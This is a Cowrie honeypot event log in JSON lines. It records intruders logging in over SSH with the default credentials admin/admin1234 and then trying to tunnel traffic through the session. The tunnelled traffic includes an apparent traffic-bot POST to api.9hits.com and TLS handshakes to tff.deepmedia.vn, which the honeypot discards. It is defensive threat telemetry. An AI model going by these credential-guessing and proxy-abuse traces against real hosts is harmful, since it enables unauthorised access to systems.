{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:59.361068Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:02.666287Z","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:02.738446Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0.1 Mobile/19A348 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bnRraD4%2BJSE2JmFKJSpCeA%3D%3DIXGyv4fHiyEVyh9pGDNArDxuN1uUvCuSSHxlj81FZ16gcVziTKnZ1USFwJc9b99gd4gmlSwohujCtf9UF9rUWNxEUcl8b6DPkVNN5Y4cFJULm%2F5xeb97KFshwWoyeBcZLOgt7AFB%2FF7HNsXyccCZzTHbhLnpSsBh3phaIp2%2FE4GBJVZwaWnq5%2F8ySyxrYMfkVVMlV5pHLjyyqg0TpZZOEzRWZjPrkW12k6S19SbWX6IqdW2IWARXoiInh%2BYhKr3cY7YMv7qRCH1NYA1%2BJKRS9RXG5hKx%2BfgXhHKU%2BSS2XsqDc7TyAIVIbPVxq5xYs1mNVh1lgFfFStQQbpY%2FG3T%2BnTxbybc%2B%2BTuuyqTVolAr5klpFFMVbhx5MZ%2FPeFcGw0DqX44wBQOsW2A0mai3pozWukYZTtrt4CElSvoHdmpjC%2Fvrzc2MPEjoFwn%2Bxp2u8LmbLDGgN3VEFnc2enUxNks0tIyysq%2BxCwua2VWn8Jow%2Bj9yOudtVxV3kek%2BlHZAIWDlP3eq0ovfaETe4X3qRV%2Brl9tzJB60nKGI89rfQ14J4s6%2B9YLxDVym%2FCbcyTgaqm9IO4fVpPeILDSqtitYhKjqj6k8%2FVpiEJ1XutNxGw9chL94fu2GEq49RQy%2B7V%2Bq8qVfSH%2FONYL9sLdvZBv%2Bpv3baqoUbYUV3e3zjsS9FjC23yEqZOBGSfmJrNMEQ2cnVrfu09QbbspJv0V7VTfWynbrdA3D1iSq1Xrrm7lWXpdS6M75PkKjYC22mDoCiKgmcHthdE6VKn0DA3E5KnHq4WKZJznauuMHPLKwq5NPHBBy8UCsMY5QYNokRSQXfHRjhT6W5%2FelfXxm29EuTowfaHwe%2Bkmo6Hx5wS1OLW%2F5d8MNdQSjsxrQwm797jpp0AfIzeCtLrfaBKn%2F8UJaFUhrQj2Ih8lLwKYDnKIY5KEH2eR7sE26vo7P8g4lWXzI6eE2t2EcN7Y2Go%2Fujue34JTibLXVzuOsfGSovcxd7FGa6a3N4v7HY3BSIhCT6fsFW39iyzoRUz4aC8tCERgpVLx0L3L%2FGXijt3MIpNkleOmI4xgCmgM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0.1 Mobile/19A348 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bnRraD4%2BJSE2JmFKJSpCeA%3D%3DIXGyv4fHiyEVyh9pGDNArDxuN1uUvCuSSHxlj81FZ16gcVziTKnZ1USFwJc9b99gd4gmlSwohujCtf9UF9rUWNxEUcl8b6DPkVNN5Y4cFJULm%2F5xeb97KFshwWoyeBcZLOgt7AFB%2FF7HNsXyccCZzTHbhLnpSsBh3phaIp2%2FE4GBJVZwaWnq5%2F8ySyxrYMfkVVMlV5pHLjyyqg0TpZZOEzRWZjPrkW12k6S19SbWX6IqdW2IWARXoiInh%2BYhKr3cY7YMv7qRCH1NYA1%2BJKRS9RXG5hKx%2BfgXhHKU%2BSS2XsqDc7TyAIVIbPVxq5xYs1mNVh1lgFfFStQQbpY%2FG3T%2BnTxbybc%2B%2BTuuyqTVolAr5klpFFMVbhx5MZ%2FPeFcGw0DqX44wBQOsW2A0mai3pozWukYZTtrt4CElSvoHdmpjC%2Fvrzc2MPEjoFwn%2Bxp2u8LmbLDGgN3VEFnc2enUxNks0tIyysq%2BxCwua2VWn8Jow%2Bj9yOudtVxV3kek%2BlHZAIWDlP3eq0ovfaETe4X3qRV%2Brl9tzJB60nKGI89rfQ14J4s6%2B9YLxDVym%2FCbcyTgaqm9IO4fVpPeILDSqtitYhKjqj6k8%2FVpiEJ1XutNxGw9chL94fu2GEq49RQy%2B7V%2Bq8qVfSH%2FONYL9sLdvZBv%2Bpv3baqoUbYUV3e3zjsS9FjC23yEqZOBGSfmJrNMEQ2cnVrfu09QbbspJv0V7VTfWynbrdA3D1iSq1Xrrm7lWXpdS6M75PkKjYC22mDoCiKgmcHthdE6VKn0DA3E5KnHq4WKZJznauuMHPLKwq5NPHBBy8UCsMY5QYNokRSQXfHRjhT6W5%2FelfXxm29EuTowfaHwe%2Bkmo6Hx5wS1OLW%2F5d8MNdQSjsxrQwm797jpp0AfIzeCtLrfaBKn%2F8UJaFUhrQj2Ih8lLwKYDnKIY5KEH2eR7sE26vo7P8g4lWXzI6eE2t2EcN7Y2Go%2Fujue34JTibLXVzuOsfGSovcxd7FGa6a3N4v7HY3BSIhCT6fsFW39iyzoRUz4aC8tCERgpVLx0L3L%2FGXijt3MIpNkleOmI4xgCmgM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:02.741511Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.158810Z","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.227562Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8dq2\\x12xd\\x96>=\\xc5\\xf5XB\\x0f\\x9a;o_\\xd7\\x00y8f\\xfb\\xdbx\\xdf\\x87\\x88*\\xd4\\xe8 \\xfbS\\x01\\x9f1V\\xa3\\x0f\\r\\xc1\\x02,a\\xa76@\\xf4\\xd5\\xac\\xa6^3\\x03H\\x1f\\xff\\x9a\\xf5f\\xb1\\xb5\\xeb\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 xz\\xcb\\xb5g\\xd8X\\x9b\\xb8GEB\\xca \\xb5\\x03&\\x86\\x1a\\x10\\xb6\\x04|8EN\\x8bz\\xd6\\xf9L\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8dq2\\x12xd\\x96>=\\xc5\\xf5XB\\x0f\\x9a;o_\\xd7\\x00y8f\\xfb\\xdbx\\xdf\\x87\\x88*\\xd4\\xe8 \\xfbS\\x01\\x9f1V\\xa3\\x0f\\r\\xc1\\x02,a\\xa76@\\xf4\\xd5\\xac\\xa6^3\\x03H\\x1f\\xff\\x9a\\xf5f\\xb1\\xb5\\xeb\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 xz\\xcb\\xb5g\\xd8X\\x9b\\xb8GEB\\xca \\xb5\\x03&\\x86\\x1a\\x10\\xb6\\x04|8EN\\x8bz\\xd6\\xf9L\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.230877Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.302235Z","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.381539Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\xc5\\x15$e\\xdc\\xf9Z\\xa83\\x1egt\\'\\xb0h\\xcc\\xfd\\x91_\\x18\\xc0\\x98\\xa2\\x07\\x0c\\xa7\\xa2\\x1a\\xfa\\x9f\\xcc \\xaa\\x1a\\x0bx\\xc1\\xc8\\x90y\\xc0\\x8f-\\x96a\\xf0\\xb2\\xc9\\xa2X\\x14\\xe1s\\xd8z\\xb5\\xc8\\xe0\\xa71\\x1f\\xc1\\xcc\\x99\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xd4\\xadU(\\xcc\\x93\\xad\\x0bc\\'\\xb0\\xbe\\xc3\\xff\\x93\\x8d!\\xdc\\x0e\\x02ry\\xef\\x0c^\\xfdv\\xcd|\\xaa9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\xc5\\x15$e\\xdc\\xf9Z\\xa83\\x1egt\\'\\xb0h\\xcc\\xfd\\x91_\\x18\\xc0\\x98\\xa2\\x07\\x0c\\xa7\\xa2\\x1a\\xfa\\x9f\\xcc \\xaa\\x1a\\x0bx\\xc1\\xc8\\x90y\\xc0\\x8f-\\x96a\\xf0\\xb2\\xc9\\xa2X\\x14\\xe1s\\xd8z\\xb5\\xc8\\xe0\\xa71\\x1f\\xc1\\xcc\\x99\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xd4\\xadU(\\xcc\\x93\\xad\\x0bc\\'\\xb0\\xbe\\xc3\\xff\\x93\\x8d!\\xdc\\x0e\\x02ry\\xef\\x0c^\\xfdv\\xcd|\\xaa9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:03.384699Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:04.664336Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.54843354225159,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:06.608882Z","src_ip":"172.81.62.90","session":"7a0f338f0b5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63209,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebb955e3cece","protocol":"ssh","message":"New connection: 123.27.168.40:63209 (10.17.0.5:22) [session: ebb955e3cece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:24.607125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:24.611540Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:24.926451Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:26.181134Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:26.661766Z","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:26.908403Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
